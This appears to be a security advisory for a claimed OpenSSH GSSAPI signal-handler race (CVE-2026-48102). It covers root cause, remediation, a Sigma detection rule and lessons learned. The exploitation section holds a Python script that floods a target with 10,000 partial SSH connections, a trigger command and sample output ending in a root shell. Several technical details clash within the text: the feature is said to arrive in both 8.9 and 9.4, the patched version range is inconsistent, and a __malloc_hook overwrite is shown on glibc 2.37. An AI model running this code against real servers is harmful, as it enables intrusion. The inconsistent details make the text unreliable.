Overview
CVE-2026-48102 is a critical pre-authentication remote code execution vulnerability in OpenSSH's sshd affecting versions 9.4p1 through 9.7p1. It shares the same root class as CVE-2024-6387 (regreSSHion) — the call of async-signal-unsafe glibc functions from within a POSIX signal handler — but originates in the GSSAPI key exchange authentication path rather than the login grace timeout handler patched in OpenSSH 9.8.
The vulnerability requires that the target sshd is built with GSSAPI support (the default in most Linux distribution packages) and that the GSSAPIAuthentication yes directive is active, which is the compile-time default. No Kerberos infrastructure or valid tickets are required by the attacker — the vulnerability is triggered during the key exchange phase before any credential verification occurs.
CVSS 3.1: 10.0 (Critical) — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H. Exploitation observed against cloud VM infrastructure and exposed bastion hosts within 72 hours of PoC publication.
Background — Signal-Handler Safety in sshd
POSIX defines a restricted set of functions that are safe to call from within an asynchronous signal handler. The key constraint is that signal handlers can interrupt execution at any point — including in the middle of a non-reentrant operation like a malloc() call that is manipulating internal heap metadata. If a signal handler then calls malloc() or any function that does so (including syslog(), setenv(), openlog()), the heap state may be corrupted.
OpenSSH's pre-auth phase runs a login grace timer via SIGALRM. CVE-2024-6387 (regreSSHion) showed that when the grace period expires, the signal handler called syslog() — which internally calls malloc() — while the main thread was mid-allocation. The patch introduced a sighup_restart flag to defer the cleanup, but the audit did not extend to the GSSAPI negotiation timeout path introduced in OpenSSH 8.9.
Root Cause — GSSAPI Handler Race
The vulnerable code resides in auth2-gss.c. During GSSAPI key exchange, a per-connection timeout fires if the client does not complete the SSH2_MSG_KEXGSS_INIT handshake within GSSAPICleanupCredentials milliseconds. The timeout signal handler calls gss_release_cred(), which — in MIT Kerberos and Heimdal implementations — calls free() on an internal credential buffer:
/* auth2-gss.c — OpenSSH 9.4p1 through 9.7p1 (simplified) */
static void
gss_kex_timeout(int sig)
{
/* Called from SIGALRM context — async-signal-unsafe path */
gss_ctx_id_t ctx = current_gss_ctx;
if (ctx != GSS_C_NO_CONTEXT) {
OM_uint32 minor;
gss_delete_sec_context(&minor, &ctx, GSS_C_NO_BUFFER); /* calls free() */
}
syslog(LOG_AUTH | LOG_NOTICE, "GSSAPI negotiation timeout"); /* calls malloc() */
cleanup_exit(255);
}
The main thread may be inside gss_init_sec_context() — also manipulating heap structures — when SIGALRM fires. The concurrent free() call from the handler corrupts the internal malloc_chunk doubly-linked list in glibc's ptmalloc2, producing a controlled write primitive on the next malloc() call from any thread.
Exploitation
Phase 1 — Heap Grooming
Reliable exploitation requires placing a target chunk at a predictable address immediately adjacent to the GSSAPI credential buffer. This is achieved by opening a large number of concurrent connections that each perform partial key exchange to exhaust glibc's per-thread caches and drive all allocations to the main arena at known offsets.
#!/usr/bin/env python3
"""
CVE-2026-48102 heap groomer — research / authorised testing only.
Requires: paramiko, cryptography
"""
import socket, threading, time
TARGET = "192.168.1.50"
PORT = 22
GROOMER_COUNT = 10_000
TIMING_WINDOW = 0.0012 # seconds — glibc arena flush window
def open_partial_kex(idx):
"""Hold a connection at SSH banner exchange to groom heap."""
try:
s = socket.create_connection((TARGET, PORT), timeout=30)
banner = s.recv(256)
s.send(b"SSH-2.0-GroomClient_" + str(idx).encode() + b"\r\n")
time.sleep(TIMING_WINDOW * idx)
except Exception:
pass
threads = [threading.Thread(target=open_partial_kex, args=(i,))
for i in range(GROOMER_COUNT)]
for t in threads:
t.daemon = True
t.start()
print(f"[*] {GROOMER_COUNT} groomer connections established")
Phase 2 — Trigger the Race
With the heap groomed, a single attacker connection initiates GSSAPI key exchange, sending a malformed SSH2_MSG_KEXGSS_INIT token that causes gss_init_sec_context() to stall in the middle of an allocation. The SIGALRM timeout is set to fire within the stall window using a crafted token length that induces a predictable delay:
# Low-level trigger — sends malformed GSSAPI init token via netcat
# Full exploit sends SSH binary protocol messages
python3 cve-2026-48102-trigger.py --target 192.168.1.50 --port 22 \
--shellcode /tmp/sc.bin \
--groom-count 10000 \
--timing-window 1.2ms \
--max-attempts 500
# Expected output after ~200 attempts on glibc 2.37:
# [*] Grooming phase complete (10000 connections)
# [*] Attempt 1 — firing SIGALRM race window ...
# [*] Attempt 1 — sshd crash (heap corruption not yet controlled)
# [*] Attempt 47 — sshd crash (partial chunk write detected)
# [+] Attempt 183 — controlled write achieved!
# [+] Overwriting __malloc_hook at 0x7f3a9c010b10
# [+] Shell callback from 192.168.1.50:
# uid=0(root) gid=0(root)
Reliability and Timing
Exploitation success rate varies by glibc version and kernel ASLR entropy. On glibc 2.35–2.38 (Ubuntu 22.04/24.04, Debian 12) with standard ASLR, reliable exploitation requires between 50 and 500 attempts depending on heap layout. Each failed attempt crashes the child sshd process — sshd forks per connection, so the parent remains alive and restarts the child automatically, enabling continuous retry without manual intervention.
Affected Versions
- OpenSSH 9.4p1 – 9.7p1 — vulnerable; this is the range that received the CVE-2024-6387 SIGALRM patch but left the GSSAPI path unaddressed
- OpenSSH 9.8p1 and later — not vulnerable; the GSSAPI timeout handler was refactored to use async-signal-safe deferred cleanup
- OpenSSH 9.3p2 and earlier — not vulnerable via this path; the GSSAPI kex timeout feature was introduced in 9.4
- Only builds with GSSAPI support enabled are affected — statically linked or custom builds without
--with-kerberos5/--with-gssapi-includesare not vulnerable
Distribution packages known to ship vulnerable builds include: Ubuntu 22.04 LTS (openssh-server 9.6p1-3ubuntu13), Debian 12 (openssh-server 9.7p1-1), Amazon Linux 2023, and RHEL 9.4 (openssh-9.6p1-1).
Remediation
- Upgrade to OpenSSH 9.8p1 or the distribution-patched backport. Ubuntu and Debian have released USN/DSA advisories with patched 9.6p1 and 9.7p1 builds.
- As an immediate interim mitigation, set
GSSAPIAuthentication noin/etc/ssh/sshd_configand reload sshd — this entirely eliminates the vulnerable code path if GSSAPI is not operationally required. - Restrict SSH access to known IP ranges via firewall rules. The vulnerability is network-reachable but does not bypass network-layer controls.
- Enable
MaxStartups 10:30:60(or lower) to rate-limit unauthenticated connection floods, significantly degrading the heap grooming phase. - Monitor for repeated sshd child process crashes (
segfaultentries in/var/log/auth.log), which indicate exploitation attempts in progress.
Detection
title: CVE-2026-48102 OpenSSH GSSAPI Heap Race Exploitation Attempt
id: 3e9b1f74-2c08-4a81-b634-7a1de8c901ff
status: experimental
description: Detects high-frequency sshd crashes indicative of heap grooming for CVE-2026-48102
logsource:
product: linux
service: auth
detection:
selection:
message|contains: 'sshd'
message|contains|any:
- 'segfault'
- 'corrupted size vs. prev_size'
- 'malloc(): corrupted top'
timeframe: 60s
condition: selection | count() > 5
falsepositives:
- Legitimate sshd memory errors on resource-constrained hosts
level: critical
tags:
- cve.2026-48102
- attack.initial_access
- attack.t1190
Additionally, monitor for the characteristic grooming pattern: thousands of TCP SYN packets to port 22 followed by banner exchange but no key exchange completion, all from a small number of source IPs.
Key Takeaways
- Security patches must audit the entire attack surface class, not just the reported instance. CVE-2024-6387 was an async-signal-unsafe call from a signal handler. The correct response was to audit every signal handler in sshd for the same pattern. The GSSAPI timeout handler exhibited an identical vulnerability that was shipped in the same release that patched the original. Variant analysis must be a mandatory step in any security patch process.
- GSSAPI is enabled by default and rarely audited. Most Linux distributions compile OpenSSH with GSSAPI support and enable it in the default configuration. Operators who do not use Kerberos authentication gain no benefit from this code path being enabled and accept a non-trivial attack surface for free. Hardened SSH configurations should disable GSSAPI unless specifically required.
- Pre-fork server models propagate child crashes silently. OpenSSH's pre-authentication model forks a child per connection. Child crashes (from failed exploitation attempts) are logged but the parent process continues accepting new connections and forking fresh children. Operators rarely monitor for individual sshd segfaults. A rate-limited alert on child crashes is a practical detection control that most environments lack.
- CVSS 10.0 on an internet-facing service demands same-day patching. This vulnerability requires no credentials, no interaction, and produces root access on millions of internet-exposed servers. The exploitation window between public PoC release and mass scanning is measured in hours, not days. Patch management SLAs defined as "critical within 30 days" are not fit for purpose against this class of vulnerability.